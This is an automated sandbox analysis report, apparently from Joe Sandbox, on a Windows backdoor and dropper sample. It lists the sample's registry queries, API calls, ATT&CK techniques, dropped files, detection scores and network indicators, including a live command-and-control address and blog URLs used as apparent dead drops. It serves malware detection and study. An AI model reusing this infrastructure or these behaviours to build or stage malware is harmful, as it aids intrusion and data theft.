Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_100100A0 GetLocalTime,SystemTimeToFileTime,

5_2_100100A0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_10006BF0 Sleep,GetVersionExA,CreateThread,sprintf,

5_2_10006BF0

Stealing of Sensitive Information

Queries disk data (e.g. SMART data)

Source: C:\Windows\SysWOW64\rundll32.exe

Device IO: \Device\Harddisk0\DR0

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_100055E0 WSAStartup,socket,socket,socket,htons,htons,inet_addr,inet_addr,htons,inet_addr,bind,ioctlsocket,select,Sleep,wsprintfA,malloc,htons,htons,htons,htons,htons,htons,htons,inet_addr,closesocket,closesocket,closesocket,

5_2_100055E0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Bootkit	111 Process Injection	3 Obfuscated Files or Information	Security Account Manager	124 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	11 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Virtualization/Sandbox Evasion	DCSync	11 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Bootkit	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Rundll32	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
otsIBG7J9b.exe	87%	ReversingLabs	Win32.Backdoor.Venik
otsIBG7J9b.exe	100%	Avira	TR/Dropper.Gen
otsIBG7J9b.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ufcpp.exe	100%	Avira	TR/Dropper.Gen
C:\ufcpp.exe	100%	Joe Sandbox ML
C:\agtve\yhnvs.dll	100%	Joe Sandbox ML
C:\agtve\yhnvs.dll	92%	ReversingLabs	Win32.Worm.Palevo

Source	Detection	Scanner	Label
http://www.1.comhttp://192.168.100.83/a	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.php7	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpB	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.php8	0%	Avira URL Cloud	safe
http://192.168.100.83/9.htm	0%	Avira URL Cloud	safe
http://192.168.100.83/9.htmhttp://192.168.100.83/F.htm%D	0%	Avira URL Cloud	safe
http://192.168.100.83/F.htm	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.php	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpD	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpBreadcrumbStore	0%	Avira URL Cloud	safe
http://www.1.com	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpJ	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpF	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpdK	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpX	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpe	0%	Avira URL Cloud	safe
http://107.163.24I	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phph	0%	Avira URL Cloud	safe
http://192.168.100.83/	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpr	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.php&	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.php)	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
blogx.sina.com.cn	202.108.0.52	true	false	high
krnaver.com	unknown	unknown	true	unknown
blog.sina.com.cn	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://107.163.241.232:12354/show.php	true	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807	false		high
https://blog.sina.com.cn/u/5655029807	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://107.163.241.232:12354/show.phpBreadcrumbStore	rundll32.exe, 00000005.00000003.3574466944.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.phpD	rundll32.exe, 00000005.00000002.4133737474.0000000005FBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blog.sina.com.cn/u/5655029807.$	rundll32.exe, 00000005.00000002.4132279546.00000000032C6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.phpB	rundll32.exe, 00000005.00000002.4132279546.000000000321D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.php7	rundll32.exe, 00000005.00000003.3574466944.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blog.sina.com.cn/4	rundll32.exe, 00000005.00000002.4132279546.000000000327A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.php8	rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807T	rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.1.comhttp://192.168.100.83/a	otsIBG7J9b.exe, 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmp, ufcpp.exe, 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://192.168.100.83/9.htm	ufcpp.exe, ufcpp.exe, 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807z7	rundll32.exe, 00000005.00000003.3974473541.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807.	rundll32.exe, 00000005.00000002.4133633291.0000000005EAD000.00000004.00000010.00020000.00000000.sdmp	false		high
http://192.168.100.83/F.htm	otsIBG7J9b.exe, otsIBG7J9b.exe, 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmp, ufcpp.exe, ufcpp.exe, 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/%s	rundll32.exe, rundll32.exe, 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmp	false		high
http://192.168.100.83/9.htmhttp://192.168.100.83/F.htm%D	otsIBG7J9b.exe, 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmp, ufcpp.exe, 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.1.com	otsIBG7J9b.exe, otsIBG7J9b.exe, 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmp, ufcpp.exe, ufcpp.exe, 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.phpF	rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807a	rundll32.exe, 00000005.00000002.4132279546.000000000327A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.phpJ	rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807zh	rundll32.exe, 00000005.00000002.4132279546.000000000327A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807z	rundll32.exe, 00000005.00000003.3974473541.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807zd	rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.phpX	rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/56550298074	rundll32.exe, 00000005.00000002.4132279546.00000000032C6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807lication	rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.phpdK	rundll32.exe, 00000005.00000003.3574466944.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.4133737474.0000000005FBD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3974473541.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/%sXGRyaXZlcnNcZXRjXGhvc3RzLmljcw==XGRyaXZlcnNcZXRjXGhvc3Rz	rundll32.exe, 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmp	false		high
http://107.163.24I	rundll32.exe, 00000005.00000002.4133153570.000000000537C000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.4133198288.00000000053FD000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.168.100.83/	otsIBG7J9b.exe, otsIBG7J9b.exe, 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmp, ufcpp.exe, ufcpp.exe, 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.phpr	rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807H	rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.phph	rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blog.sina.com.cn/u/5655029807S	rundll32.exe, 00000005.00000002.4132279546.000000000327A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.phpe	rundll32.exe, 00000005.00000002.4132279546.000000000327A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blog.sina.com.cn/u/5655029807&K	rundll32.exe, 00000005.00000003.3574466944.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.4133737474.0000000005FBD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3974473541.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.php&	rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.php)	rundll32.exe, 00000005.00000002.4133153570.000000000537C000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.4133198288.00000000053FD000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blog.sina.com.cn/	rundll32.exe, 00000005.00000002.4132279546.000000000327A000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
202.108.0.52	blogx.sina.com.cn	China		4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
107.163.241.232	unknown	United States		20248	TAKE2US	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573196
Start date and time:	2024-12-11 16:23:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	otsIBG7J9b.exe renamed because original name is a hash value
Original Sample Name:	04cc92b4e0f79ba841ba3c76651c8968d6525d4805829dd875f7a34034ffa460.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@22/3@52/3
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 99% Number of executed functions: 64 Number of non-executed functions: 68
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target rundll32.exe, PID 3384 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: otsIBG7J9b.exe

Simulations

Behavior and APIs

Time	Type	Description
10:24:30	API Interceptor	519746x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
202.108.0.52	VqCbf9fhnQ.exe	Get hash	malicious	Unknown	Browse	blog.sina.com.cn/u/5655029807
	k4F4uRTZZR.dll	Get hash	malicious	Unknown	Browse	blog.sina.com.cn/u/5655029807
	5jme4p7u76.exe	Get hash	malicious	Unknown	Browse	blog.sina.com.cn/u/5655029807

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
blogx.sina.com.cn	08e2VwqyI0.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	PqZ6GU98Eh.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	jYAKmjIPgI.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	b3sV534MMf.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	NaRZIOq3O8.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	33twe7X26S.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	MYuRWuVXzX.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	yKVQVNB2qI.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	gmqIbj35WF.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	81mieek02V.dll	Get hash	malicious	Unknown	Browse	202.108.0.52

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	XgijTrY6No.exe	Get hash	malicious	Unknown	Browse	202.108.0.52
	Josho.ppc.elf	Get hash	malicious	Unknown	Browse	123.121.0.198
	Josho.mpsl.elf	Get hash	malicious	Unknown	Browse	124.192.197.161
	Josho.mips.elf	Get hash	malicious	Unknown	Browse	114.67.239.168
	hax.x86.elf	Get hash	malicious	Mirai	Browse	221.222.118.76
	hax.ppc.elf	Get hash	malicious	Mirai	Browse	140.210.138.192
	.5r3fqt67ew531has4231.x86.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	103.135.163.78
	rebirth.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	122.113.109.82
	rebirth.m68k.elf	Get hash	malicious	Mirai, Okiru	Browse	123.126.198.111
	rebirth.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	116.218.224.190
TAKE2US	XgijTrY6No.exe	Get hash	malicious	Unknown	Browse	107.163.241.204
	08e2VwqyI0.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	PqZ6GU98Eh.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	jYAKmjIPgI.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	b3sV534MMf.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	NaRZIOq3O8.dll	Get hash	malicious	Unknown	Browse	107.163.241.193
	33twe7X26S.dll	Get hash	malicious	Unknown	Browse	107.163.241.193
	MYuRWuVXzX.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	JwLT3elUtn.dll	Get hash	malicious	Unknown	Browse	107.163.43.161
	yKVQVNB2qI.dll	Get hash	malicious	Unknown	Browse	107.163.56.240

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	XgijTrY6No.exe	Get hash	malicious	Unknown	Browse	202.108.0.52
	nicewithgreatfeaturesreturnformebestthingsgivensoofar.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	202.108.0.52
	CcIlKT6XdC.exe	Get hash	malicious	Amadey, PureLog Stealer, Stealc, Vidar	Browse	202.108.0.52
	PO_11100011211.Vbs.vbs	Get hash	malicious	FormBook	Browse	202.108.0.52
	Reqt 83291.vbs	Get hash	malicious	Remcos, GuLoader	Browse	202.108.0.52
	DOCUMENT#5885588@081366(766.pdf.exe	Get hash	malicious	GuLoader, Remcos	Browse	202.108.0.52
	Bank Swift and SOA PVRN0072700314080353_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	202.108.0.52
	LXS5itpTK7.exe	Get hash	malicious	Stealc	Browse	202.108.0.52
	SEejSLAS9f.exe	Get hash	malicious	Stealc	Browse	202.108.0.52
	http://dcr0eadbm64ph.cloudfront.net/IDCVt99WXiQU.exe	Get hash	malicious	Poisonivy	Browse	202.108.0.52

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2146
Entropy (8bit):	4.33510205859581
Encrypted:	false
SSDEEP:	24:8DXwher+V3MLAYBnaezjezYL4KCQRajERJEennyL/IXdI+Bbq7f/GdSNNUP7wzGb:sLdojGSbGLbg6
MD5:	DE59D93CCD3DA4C52AD1F9CA43522D93
SHA1:	AD07ACCBDF663ABC37B720376473FEE741B42EDE
